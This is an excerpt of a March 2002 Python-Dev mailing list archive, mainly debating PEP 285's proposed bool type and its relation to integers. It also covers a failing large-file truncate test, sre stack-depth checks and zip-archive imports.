> The fact that they use a notation for that at all suggests
> that even they didn't go so far as to regard booleans as
> *identical* to integers.

Of course.  But if Knuth continues growing more sensible over the years, in
about a decade he'll rediscover APL <wink>.



From jason@jorendorff.com  Mon Mar 11 04:25:57 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Sun, 10 Mar 2002 22:25:57 -0600
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203110022.NAA26142@s454.cosc.canterbury.ac.nz>
Message-ID: <HFEKILOLEFEFMKAECNDLKEIMDIAA.jason@jorendorff.com>

Greg Ewing wrote:
> Jason Orendorff wrote:
> >   C99:        true    false
> >   C++:        true    false
> >   C#:         true    false
> >   Java:       true    false
> >   JavaScript: true    false
> > 
> > (I can't find other case-sensitive languages with boolean types
> > to compare.)
> 
>     Modula-2:   TRUE    FALSE
> 
> :-)

Indeed!  But this is another argument in favor of "true" and "false",
of course, because all Modula-2's keywords are UPPERCASE and all
Python's keywords are lowercase.  (Likewise, in VB All Keywords
are Capitalized, so it makes sense to write True and False.)

## Jason Orendorff    http://www.jorendorff.com/


From pedroni@inf.ethz.ch  Mon Mar 11 04:30:11 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 05:30:11 +0100
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>              <3C8BD042.CB03BDAB@prescod.net> <200203110121.g2B1LZI31560@pcp742651pcs.reston01.va.comcast.net> <3C8C0DB0.F513D5A9@prescod.net> <047c01c1c8a1$c35b1260$6d94fea9@newmexico> <3C8C1F27.2060136@prescod.net>
Message-ID: <052f01c1c8b5$6ed6ef20$6d94fea9@newmexico>

From: Paul Prescod <paul@prescod.net>
> Catching errors is also a benefit of separating any two types.

Yes, but my implicit point was that if you're serious about
this you should find some way beyond good-will,
to enforce the change from 0/1 to True/False
in all new and old code.

Otherwise your benefit is negligible
or you should use a lot of bool() to avoid
the progation of the evil 0/1 that are
flags and could mix with integers that are integers.

>From my observatory I don't see the danger
of the evil propagation, just the 0/1/True/False
confusion, but I already left that issue to Guido's
taste.

regards.








From barry@zope.com  Mon Mar 11 04:44:36 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Sun, 10 Mar 2002 23:44:36 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203110022.NAA26142@s454.cosc.canterbury.ac.nz>
 <HFEKILOLEFEFMKAECNDLKEIMDIAA.jason@jorendorff.com>
Message-ID: <15500.13876.675145.439247@anthem.wooz.org>

>>>>> "JO" == Jason Orendorff <jason@jorendorff.com> writes:

    JO> Indeed!  But this is another argument in favor of "true" and
    JO> "false", of course, because all Modula-2's keywords are
    JO> UPPERCASE and all Python's keywords are lowercase.

I've mostly tuned this thread out since I'm confident Guido will DTRT,
but in case I've missed something, we aren't talking about making
"true" and "false" (regardless of spelling) keywords, are we?

/me checks the PEP

Nope, and that's a very good thing, otherwise much code breakage will
ensue.

In any event, I'm sure Guido's heard all the arguments by now and has
made up his mind about this particular issue.  For my money, True and
False are just fine since they're singled objects sitting in builtins
just like None and Ellipsis.

trying-to-find-the-right-channel-ly y'rs,
-Barry


From pedroni@inf.ethz.ch  Mon Mar 11 04:56:22 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 05:56:22 +0100
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>              <3C8BD042.CB03BDAB@prescod.net> <200203110121.g2B1LZI31560@pcp742651pcs.reston01.va.comcast.net> <3C8C0DB0.F513D5A9@prescod.net> <047c01c1c8a1$c35b1260$6d94fea9@newmexico>
Message-ID: <057401c1c8b9$1726ac80$6d94fea9@newmexico>

[me]
> If you're really serious about argument order
> then you need static typing and that does not save
> you always either.
> 

errata: to be honest the above is not really
my take on the issue, as far as I experienced
I have had more argument order bugs in Java
than in Python, that probably means 
that in my experience
keyword args usage
effectiveness outweighted static typing.

regards.



From martin@v.loewis.de  Mon Mar 11 05:12:06 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 11 Mar 2002 06:12:06 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203110010.NAA26137@s454.cosc.canterbury.ac.nz>
References: <200203110010.NAA26137@s454.cosc.canterbury.ac.nz>
Message-ID: <m3k7sj7knt.fsf@mira.informatik.hu-berlin.de>

Greg Ewing <greg@cosc.canterbury.ac.nz> writes:

> Skip Montanaro <skip@pobox.com>:
> 
> > Guido's proposal is for bool to be a
> > subclass of int.  Consequently, 28 + True should yield 29
> 
> But True - 1 won't equal False. Should it?

Despite that Guido said "no" here, I think the answer is "yes", and
the first sentence is wrong: True - 1 == False. True - 1 won't be
identical with False, but it will be equal to it.

Regards,
Martin


From tim.one@comcast.net  Mon Mar 11 05:32:08 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 11 Mar 2002 00:32:08 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <15500.13876.675145.439247@anthem.wooz.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEFFODAA.tim.one@comcast.net>

[Barry]
> ...
> In any event, I'm sure Guido's heard all the arguments by now and has
> made up his mind about this particular issue.

I expect you got the order backwards there <wink>, but this one isn't worth
killing or dying for either way.

> For my money, True and False are just fine since they're singled
> objects sitting in builtins just like None and Ellipsis.

Last I looked, everything in __builtin__ was an object ... None and Ellipsis
are the only objects of their respective types, and maybe that's what
"singled" means?  If so, the same isn't true of True and False, unless they
each get their own type too.  Trying to come up with a "compelling"
justification for the capitalization-- and either way --is doomed to sound
silly to a critical ear.



From barry@zope.com  Mon Mar 11 05:47:23 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 11 Mar 2002 00:47:23 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <15500.13876.675145.439247@anthem.wooz.org>
 <LNBBLJKPBEHFEDALKOLCEEFFODAA.tim.one@comcast.net>
Message-ID: <15500.17643.541739.629844@anthem.wooz.org>

>>>>> "TP" == Tim Peters <tim.one@comcast.net> writes:

    TP> [Barry]
    >> ...  In any event, I'm sure Guido's heard all the arguments by
    >> now and has made up his mind about this particular issue.

    TP> I expect you got the order backwards there <wink>, but this
    TP> one isn't worth killing or dying for either way.

:)

    >> For my money, True and False are just fine since they're
    >> singled objects sitting in builtins just like None and
    >> Ellipsis.

    TP> Last I looked, everything in __builtin__ was an object
    TP> ... None and Ellipsis are the only objects of their respective
    TP> types, and maybe that's what "singled" means?  If so, the same
    TP> isn't true of True and False, unless they each get their own
    TP> type too.  Trying to come up with a "compelling" justification
    TP> for the capitalization-- and either way --is doomed to sound
    TP> silly to a critical ear.

s/singled/singleton/

But yeah, when I design my own language it's gonna be TrUe and fAlSe,
and you can bet that they'll have floating point values, because
/everything/ in my language will have floating point values.

And it shall be called the...

truly-insane-machine-permuting-everything-that-ever-ran-slow-ly y'rs,
-Barry


From pedroni@inf.ethz.ch  Mon Mar 11 05:47:53 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 06:47:53 +0100
Subject: R: [Python-Dev] Boolean transition
References: <LNBBLJKPBEHFEDALKOLCEEEGODAA.tim.one@comcast.net>
Message-ID: <05f401c1c8c0$49e1dee0$6d94fea9@newmexico>

From: Tim Peters <tim.one@comcast.net>
> [Samuele Pedroni]
> > ...
> > ...
> > So I would introduce a specific built-in
> > for that conversion (maybe chi() <wink>).
> 
> That's the function operator.truth() serves -- or would have, if Guido
> hadn't broken it <wink>.
> 

Argh, you just destroyed my not-so-secret-plan to get two
greek letters into Python and see the far-reaching effect ...

either-world-domination-or-black-hole-absorption-ly y'rs - Samuele.




From tismer@tismer.com  Mon Mar 11 12:27:12 2002
From: tismer@tismer.com (Christian Tismer)
Date: Mon, 11 Mar 2002 13:27:12 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203110010.NAA26137@s454.cosc.canterbury.ac.nz> <m3k7sj7knt.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3C8CA2A0.5040104@tismer.com>

Martin v. Loewis wrote:

> Greg Ewing <greg@cosc.canterbury.ac.nz> writes:
> 
> 
>>Skip Montanaro <skip@pobox.com>:
>>
>>
>>>Guido's proposal is for bool to be a
>>>subclass of int.  Consequently, 28 + True should yield 29
>>>
>>But True - 1 won't equal False. Should it?
>>
> 
> Despite that Guido said "no" here, I think the answer is "yes", and
> the first sentence is wrong: True - 1 == False. True - 1 won't be
> identical with False, but it will be equal to it.


Sigh... Having read this huge thread now in 2.5 hours,
I can't say I like this stuff too much.
Why allow coercion to int at all?
We can use Int(False), like we can use Bool(42).

But still I think keeping Bool and Int completely disjoint
types was a very well thought-out decision of Nikolas Wirth,
and I wish very much that Python goes the same clean way
or stays where it is!

Please let's make a true type, no compromizes, no repr
issues, no arithmetic operations, absolutely unrelated
and really incompatible to integer, also no < relation.

Python-looks-more-and-more-perlish-to-me - ly y'rs - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From walter@livinglogic.de  Mon Mar 11 12:59:04 2002
From: walter@livinglogic.de (Walter =?ISO-8859-15?Q?D=F6rwald?=)
Date: Mon, 11 Mar 2002 13:59:04 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203110244.PAA26175@s454.cosc.canterbury.ac.nz>
Message-ID: <3C8CAA18.9060204@livinglogic.de>

Greg Ewing wrote:
> Ka-Ping Yee <ping@lfw.org>:
> 
> 
>>But in the new scheme, there is a "blessed" Boolean type.  Does this
>>make the other kinds of true and false less legitimate?

These "other kinds of true and false" should IMHO be implemented
via a conversion method __bool__ (just like __int__, __str__,
__unicode__ etc.) and will be a bool aware version of __nonzero__
which should be deprecated.

if should internally call this bool conversion method.

Bye,
    Walter Dörwald

-- 
Walter Dörwald · LivingLogic AG, Bayreuth/Germany · www.livinglogic.de



From guido@python.org  Mon Mar 11 13:27:35 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 11 Mar 2002 08:27:35 -0500
Subject: [Python-Dev] test_largefile.py failing on Linux
Message-ID: <200203111327.g2BDRaZ00768@pcp742651pcs.reston01.va.comcast.net>

In the most recent checkout on Linux, test_largefile.py fails.  The
output is:

[guido@pcp742651pcs linux]$ ./python ../Lib/test/test_largefile.py
create large file via seek (may be sparse file) ...
check file size with os.fstat
2500000001L =?= 2500000001L ... yes
check file size with os.stat
2500000001L =?= 2500000001L ... yes
play around with seek() and read() with the built largefile
0L =?= 0 ... yes
'z' =?= 'z' ... yes
1L =?= 1 ... yes
0L =?= 0 ... yes
0L =?= 0 ... yes
42L =?= 42 ... yes
42L =?= 42 ... yes
84L =?= 84 ... yes
84L =?= 84 ... yes
2500000001L =?= 2500000001L ... yes
2499999991L =?= 2499999991L ... yes
0L =?= 0 ... yes
2500000000L =?= 2500000000L ... yes
'a' =?= 'a' ... yes
'z' =?= 'z' ... yes
1L =?= 1 ... yes
play around with os.lseek() with the built largefile
0L =?= 0 ... yes
42L =?= 42 ... yes
84L =?= 84 ... yes
84L =?= 84 ... yes
2500000001L =?= 2500000001L ... yes
2499999991L =?= 2499999991L ... yes
0L =?= 0 ... yes
2500000000L =?= 2500000000L ... yes
'a' =?= 'a' ... yes
try truncate
2500000001L =?= 2500000001L ... yes
2499999990L =?= 2499999990L ... yes
2499999990L =?= 2499999990L ... yes
0L =?= 2499999989L ... no
Traceback (most recent call last):
  File "../Lib/test/test_largefile.py", line 149, in ?
    expect(f.tell(), newsize)
  File "../Lib/test/test_largefile.py", line 59, in expect
    raise test_support.TestFailed, 'got %r, but expected %r' %\
test_support.TestFailed: got 0L, but expected 2499999989L
[guido@pcp742651pcs linux]$

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 11 13:43:04 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 11 Mar 2002 08:43:04 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Mon, 11 Mar 2002 13:59:04 +0100."
 <3C8CAA18.9060204@livinglogic.de>
References: <200203110244.PAA26175@s454.cosc.canterbury.ac.nz>
 <3C8CAA18.9060204@livinglogic.de>
Message-ID: <200203111343.g2BDh4m03289@pcp742651pcs.reston01.va.comcast.net>

> These "other kinds of true and false" should IMHO be implemented
> via a conversion method __bool__ (just like __int__, __str__,
> __unicode__ etc.) and will be a bool aware version of __nonzero__
> which should be deprecated.
> 
> if should internally call this bool conversion method.

IMO there's no need to have a separate __bool__.  We can simply say
__nonzero__ may return 0 or False, or 1 or True.  I see no advantage
in introducing a separate __bool__.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jim@interet.com  Mon Mar 11 14:37:46 2002
From: jim@interet.com (James C. Ahlstrom)
Date: Mon, 11 Mar 2002 09:37:46 -0500
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
References: <04da01c1c05a$886255a0$e000a8c0@thomasnotebook> <3C7E3454.B6690A7@lemburg.com> <053201c1c05f$e86a9610$e000a8c0@thomasnotebook> <3C7E3ADC.DCED6D15@lemburg.com> <3C7E425C.5060003@interet.com>
Message-ID: <3C8CC13A.8010405@interet.com>

James C. Ahlstrom wrote:


> I am leaving for Panama tomorrow for 8 days, so if I

I am back.  If someone could start installing the patches,
I can correct problems as they arise.

JimA



From gsw@agere.com  Mon Mar 11 15:27:37 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Mon, 11 Mar 2002 10:27:37 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203082209.g28M9RJ06658@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <GBEGLOMMCLDACBPKDIHFGEGPCHAA.gsw@agere.com>

I wrote:
> > I think at least add something like this should be added
> > to the description in the PEP:
> >     def __cmp__(self,other):
> >         return int.__cmp__(self,bool(other))

Guido van Rossum wrote:
> Absolutely not.  I want True == 2 to be False.

BTW, I am in favor of a standard boolean type. But I am
concerned about how it interacts with the conventions
for truth of an expression.

For example:
  (1 == True) != (2 == True)
yet:
  bool(1) == bool(2) == bool(1 and 2) == ... == True
and of course:
  (1 != False) == (2 != False)

And how about:
  my_list == True
versus:
  bool(my_list)

Since boolean values are often computed, you may run into
subtle differences in behavior that would introduce bugs.
These would become apparent when you tried to mix code that
uses the truth conventions together with code that uses the
new boolean type. You may find that in many cases you will
have to resort to sprinkling bool()-casts/operator.truth()
everywhere.

I expect this would primarily affect compares. For example,
with the current definition it is already true that:
  bool(my_list) == bool(my_list and True or False)

Using boolean values in algebraic expressions is not really
much of a problem unless you are relying on expressions to
be used in boolean context that may have values other than
0 or 1. In other words, this isn't a problem:
  days_in_year = 365 + bool(leap_year)

But this would be (assuming leap_year_expected is a bool):
  assert(leap_year == leap_year_expected)
  if leap_year:
    days_in_year = leap_year
  else:
    days_in_year = 365

So compares do raise issues. Promoting the other side of a
compare-with-boolean to a boolean is one way to maintain
some compatibility. You could also disallow the compare in
the first place.

I didn't want to suggest that, since it is a more drastic
change. Disallowing boolean promotions may eventually take
you down a route that disallows this:
  if mylist:
in favor of this:
  if bool(mylist):

If that's the way you want to head anyway, then that's fine
also. I think that (2 == True) == True can be justified, but
there are other ways to address the issue. Probably even
some that aren't as drastic. :-)

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-



From gward@python.net  Mon Mar 11 15:48:35 2002
From: gward@python.net (Greg Ward)
Date: Mon, 11 Mar 2002 10:48:35 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020311154835.GA11866@gerg.ca>

On 10 March 2002, Guido van Rossum said:
> In fact, it looks like these are a random selection of bugs and
> patches. :-(

Hmmm: it could be that a random selection of (possibly old) bugs would
also be a useful thing to post.

        Greg
-- 
Greg Ward - geek-at-large                               gward@python.net
http://starship.python.net/~gward/
I wonder if I ought to tell them about my PREVIOUS LIFE as a COMPLETE
STRANGER?


From Jack.Jansen@oratrix.com  Mon Mar 11 15:50:27 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Mon, 11 Mar 2002 16:50:27 +0100
Subject: [Python-Dev] multiple recursion limit bugs
In-Reply-To: <15498.47438.578080.778224@12-248-41-177.client.attbi.com>
Message-ID: <B560EA87-3507-11D6-85E0-0030655234CE@oratrix.com>

On Sunday, March 10, 2002, at 02:39 , Skip Montanaro wrote:

>
> I've been poking through the open bugs and patches(*).  I've run 
> across a
> few bug reports about this.  There is a very brief mention of this 
> problem
> in the re module doc:
>
>     sre is the default implementation and includes Unicode support, but 
> may
>     run into stack limitations for some patterns.
>
> I recently added an example that demonstrates the problem, but I think 
> the
> main issue is that the limitation needs to be better documented.  We can
> then close most/all of these bug reports as "not a bug" or "known
> implementation limitation".  Does this seem like the right approach?

As long as all the stack overflow possibilities are protected with 
PyOS_CheckStack() calls. In the past that wasn't always the case, and 
this created havoc on operating systems without hardware stack limits.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From jeremy@zope.com  Mon Mar 11 16:17:39 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Mon, 11 Mar 2002 11:17:39 -0500
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
In-Reply-To: <3C8CC13A.8010405@interet.com>
Message-ID: <web-3711764@digicool.com>

On Mon, 11 Mar 2002 09:37:46 -0500
 "James C. Ahlstrom" <jim@interet.com> wrote:
> James C. Ahlstrom wrote:
> 
> 
> > I am leaving for Panama tomorrow for 8 days, so if I
> 
> I am back.  If someone could start installing the
> patches,
> I can correct problems as they arise.

It looks like the PEP points to an obsolete implementation
patch.  Could you update it?

Jeremy


From skip@pobox.com  Mon Mar 11 17:25:08 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 11 Mar 2002 11:25:08 -0600
Subject: [Python-Dev] multiple recursion limit bugs
In-Reply-To: <B560EA87-3507-11D6-85E0-0030655234CE@oratrix.com>
References: <15498.47438.578080.778224@12-248-41-177.client.attbi.com>
 <B560EA87-3507-11D6-85E0-0030655234CE@oratrix.com>
Message-ID: <15500.59508.115679.864684@beluga.mojam.com>

    [... regarding sre recursion limits ...]
    >> 
    >> I recently added an example that demonstrates the problem, but I
    >> think the main issue is that the limitation needs to be better
    >> documented.  We can then close most/all of these bug reports as "not
    >> a bug" or "known implementation limitation".  Does this seem like the
    >> right approach?

    Jack> As long as all the stack overflow possibilities are protected with
    Jack> PyOS_CheckStack() calls. In the past that wasn't always the case,
    Jack> and this created havoc on operating systems without hardware stack
    Jack> limits.

I looked in _sre.c and saw that it does call PyOS_CheckStack, but it's
guarded by the USE_STACKCHECK macro:

    #if defined(USE_STACKCHECK)
        if (level % 10 == 0 && PyOS_CheckStack())
            return SRE_ERROR_RECURSION_LIMIT;
    #endif

That's defined in Include/pythonrun.h for a few platforms:

    #if defined(WIN32) && !defined(MS_WIN64) && defined(_MSC_VER)
    /* Enable stack checking under Microsoft C */
    #define USE_STACKCHECK
    #endif

Should it also be defined for MacOS versions predating MacOS X (or is this
defined elsewhere for the Mac platform)?

Skip


From tim.one@comcast.net  Mon Mar 11 17:36:23 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 11 Mar 2002 12:36:23 -0500
Subject: [Python-Dev] test_largefile.py failing on Linux
In-Reply-To: <200203111327.g2BDRaZ00768@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEHFODAA.tim.one@comcast.net>

[Guido]
> In the most recent checkout on Linux, test_largefile.py fails.  The
> output is:
>
> [guido@pcp742651pcs linux]$ ./python ../Lib/test/test_largefile.py
> ...
> try truncate
> 2500000001L =?= 2500000001L ... yes
> 2499999990L =?= 2499999990L ... yes
> 2499999990L =?= 2499999990L ... yes
> 0L =?= 2499999989L ... no

The docs promise something that may not be true, and the test (which was
commented out before yesterday) assumes something that may not be true:

1. The docs promise that truncate() will never grow the file.  I don't
   believe Unix ftruncate() promises that, although you got beyond
   the part of the test that checks for that (so ftruncate apparently
   won't grow the file on your box).

2. The test assumes truncate() leaves the file position at the
   point of truncation.   That's why your test is failing:

    # Ensure that truncate(smaller than true size) shrinks the file.
    newsize -= 1
    f.seek(0)
    f.truncate(newsize)
    expect(f.tell(), newsize)  # ***** you're failing here *****

The output shows that, on your box, the file position was left at 0.  Our
docs are silent on this point.

If we want to promise that truncate() won't grow the file, I believe the
non-Windows implementation needs to change.

If we don't want to promise that truncate() won't grow the file, the docs
need to change and the Windows implementation can be made simpler.

If we want to promise that the file position won't change, the docs need to
change, Unix geeks have to investigate the truth of that on non-Windows
systems, and the Windows implementation needs to change.



From skip@pobox.com  Mon Mar 11 17:46:08 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 11 Mar 2002 11:46:08 -0600
Subject: [Python-Dev] test_largefile.py failing on Linux
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEHFODAA.tim.one@comcast.net>
References: <200203111327.g2BDRaZ00768@pcp742651pcs.reston01.va.comcast.net>
 <LNBBLJKPBEHFEDALKOLCKEHFODAA.tim.one@comcast.net>
Message-ID: <15500.60768.402057.643491@beluga.mojam.com>

    Tim> 1. The docs promise that truncate() will never grow the file.  I
    Tim>    don't believe Unix ftruncate() promises that...

It does not.  In fact, on my Mandrake box it explicitly says that behavior
is unspecified:

    If the file previously was shorter, it is unspecified whether the file
    is left unchanged or is extended.

Skip


From wolfeman@mac.com  Mon Mar 11 17:49:36 2002
From: wolfeman@mac.com (Dan wolfe)
Date: Mon, 11 Mar 2002 09:49:36 -0800
Subject: [Python-Dev] multiple recursion limit bugs
In-Reply-To: <15500.59508.115679.864684@beluga.mojam.com>
Message-ID: <5A662BEE-3518-11D6-A636-003065ABC53C@mac.com>

On Monday, March 11, 2002, at 09:25  AM, Skip Montanaro wrote:

>     [... regarding sre recursion limits ...]
>>>
>>> I recently added an example that demonstrates the problem, but I
>>> think the main issue is that the limitation needs to be better
>>> documented.  We can then close most/all of these bug reports as "not
>>> a bug" or "known implementation limitation".  Does this seem like the
>>> right approach?
>
>     Jack> As long as all the stack overflow possibilities are protected 
> with
>     Jack> PyOS_CheckStack() calls. In the past that wasn't always the 
> case,
>     Jack> and this created havoc on operating systems without hardware 
> stack
>     Jack> limits.
>
> I looked in _sre.c and saw that it does call PyOS_CheckStack, but it's
> guarded by the USE_STACKCHECK macro:
>
>     #if defined(USE_STACKCHECK)
>         if (level % 10 == 0 && PyOS_CheckStack())
>             return SRE_ERROR_RECURSION_LIMIT;
>     #endif
>
> That's defined in Include/pythonrun.h for a few platforms:
>
>     #if defined(WIN32) && !defined(MS_WIN64) && defined(_MSC_VER)
>     /* Enable stack checking under Microsoft C */
>     #define USE_STACKCHECK
>     #endif
>
> Should it also be defined for MacOS versions predating MacOS X (or is 
> this
> defined elsewhere for the Mac platform)?

At one time (2.0/2.1 era) I had a patch (unfortunately I've misplaced 
it) to fix the problem with the small stack size (512K) on Mac OS X but 
put it aside as Fredrik was going to do some changes to SRE engine to 
fix this problem... I haven't hear anything on this topic lately so I'm 
not sure what the status is these days.... perhaps we should check with 
Fredrik to see what he has up his sleeves with the SRE before 
implementing any changes.

- Dan



From pammann@execomm.net  Mon Mar 11 21:28:20 2002
From: pammann@execomm.net (Paul Ammann)
Date: Mon, 11 Mar 2002 13:28:20 -0800
Subject: [Python-Dev] Need Help w/ Telnet Problem
Message-ID: <IHEJLAPNGFBGKEJGKADAKEDKCBAA.pammann@execomm.net>

Hi

I've been going crazy with this problem for quite some times now, and really
need another opinion.

If I open a Telnet session to another machine, is there a way that I can
issue a command and return the result a varible? For example, if I want to
find all the processes that have python:

ps -aux | grep python

However, I would want to assign that to a variable such as:

pythonProcess = telnet.write("ps -aux | grep python")

Or, does anyone know of a better way to remotely monitor a UNIX process on a
remote machine.

Please forgive me for this... but I know Perl has a $telnet->cmd($command)
that allows a scripter to issue a command to a remote server and wait for a
reponse.

Thank you in advance for any assistance.

Best regards,

Paul



From nas@python.ca  Mon Mar 11 20:29:15 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 11 Mar 2002 12:29:15 -0800
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <3C8916E2.7A2C5DE3@activestate.com>; from DavidA@ActiveState.com on Fri, Mar 08, 2002 at 11:54:10AM -0800
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8916E2.7A2C5DE3@activestate.com>
Message-ID: <20020311122915.D7444@glacier.arctrix.com>

David Ascher wrote:
> I'm still not convinced that the disease is worth the cure, but I'm
> open-minded =).

I agree.  I'm -0 on this PEP.

  Neil


From paul@prescod.net  Mon Mar 11 20:45:36 2002
From: paul@prescod.net (Paul Prescod)
Date: Mon, 11 Mar 2002 12:45:36 -0800
Subject: [Python-Dev] Boolean transition
References: <LNBBLJKPBEHFEDALKOLCAEEOODAA.tim.one@comcast.net>
Message-ID: <3C8D1770.2907310D@prescod.net>

Tim Peters wrote:
> 
> [Greg Ewing]
> > The fact that they use a notation for that at all suggests
> > that even they didn't go so far as to regard booleans as
> > *identical* to integers.
> 
> Of course.  But if Knuth continues growing more sensible over the years, in
> about a decade he'll rediscover APL <wink>.

I'll just thread as: "Booleans as a subtype of integers enables
APL-style programming." <0.3 wink>

 Paul Prescod


From gsw@agere.com  Mon Mar 11 21:50:49 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Mon, 11 Mar 2002 16:50:49 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <GBEGLOMMCLDACBPKDIHFGEGPCHAA.gsw@agere.com>
Message-ID: <GBEGLOMMCLDACBPKDIHFKEHBCHAA.gsw@agere.com>

Please don't take this as a real endorsement, and YMMV to
be sure, but somehow this seems right to me given the way
Python currently determines "truth":

>>> 1 == True, 2 == True, [] == False
(True, True, True)
>>> 1 is True, 2 is True, [] is False
(False, False, False)
>>> bool(1) is True, bool(2) is True, bool([]) is False
(True, True, True)

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-



From paul@prescod.net  Mon Mar 11 22:06:20 2002
From: paul@prescod.net (Paul Prescod)
Date: Mon, 11 Mar 2002 14:06:20 -0800
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <GBEGLOMMCLDACBPKDIHFKEHBCHAA.gsw@agere.com>
Message-ID: <3C8D2A5C.C3C9B6C9@prescod.net>

"Gerald S. Williams" wrote:
> 
> Please don't take this as a real endorsement, and YMMV to
> be sure, but somehow this seems right to me given the way
> Python currently determines "truth":
> 
> >>> 1 == True, 2 == True, [] == False
> (True, True, True)

I'm confident that will never be the case.

if x:
  ...

should be considered a shortcut syntax for

if bool(x):
   ...

That says nothing about the equality of the object x and one of the two
truth constants. 

 Paul Prescod


From mark.favas@csiro.au  Tue Mar 12 00:00:23 2002
From: mark.favas@csiro.au (Mark Favas)
Date: Tue, 12 Mar 2002 08:00:23 +0800
Subject: [Python-Dev] test_largefile.py failing on Linux
Message-ID: <3C8D4517.96BCF7E6@csiro.au>

This test also fails on Tru64 Unix (V 4.0F), in the same manner - file
position is left at 0.

On the question as to whether a file can be grown using [f]truncate() on
this platform, the docs state:

"If the new length is greater than the previous length, new file data
between the previous end-of-file and the new end-of-file is added,
consisting of all zeros."

and claim

"Interfaces documented on this reference page conform to industry
standards as follows:

ftruncate(), truncate():  XPG4-UNIX"

-- 
Mark Favas  -   mark.favas@csiro.au
CSIRO, PO Box 1130, Bentley, Western Australia 6102, AUSTRALIA


From tismer@tismer.com  Tue Mar 12 00:13:37 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 01:13:37 +0100
Subject: [Python-Dev] Boolean transition
References: <LNBBLJKPBEHFEDALKOLCGEEIODAA.tim.one@comcast.net>
Message-ID: <3C8D4831.1030503@tismer.com>

Tim Peters wrote:

>>>    days_in_year = 365 + is_leap(year)
>>>
> 
> [Greg Ewing]
> 
>>This is bug-prone, because it relies on is_leap always
>>returning a "normalised" boolean value.
...


>>...
>>and similarly
>>
>>  days_in_year = 365 + 1 if is_leap(year) else 0
>>
>>(Yes, I know that one's already been rejected. I can't stop
>>liking it, though...)
>>
> 
> Heh.  I immediately read that as
> 
>     days_in_year = (365 + 1) if is_leap(year) else 0
> 
> I'm old enough to wish reality played along <wink>.


If I would calculate my age using the above formula, it would
be about 34. A fountain of youth!

best - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
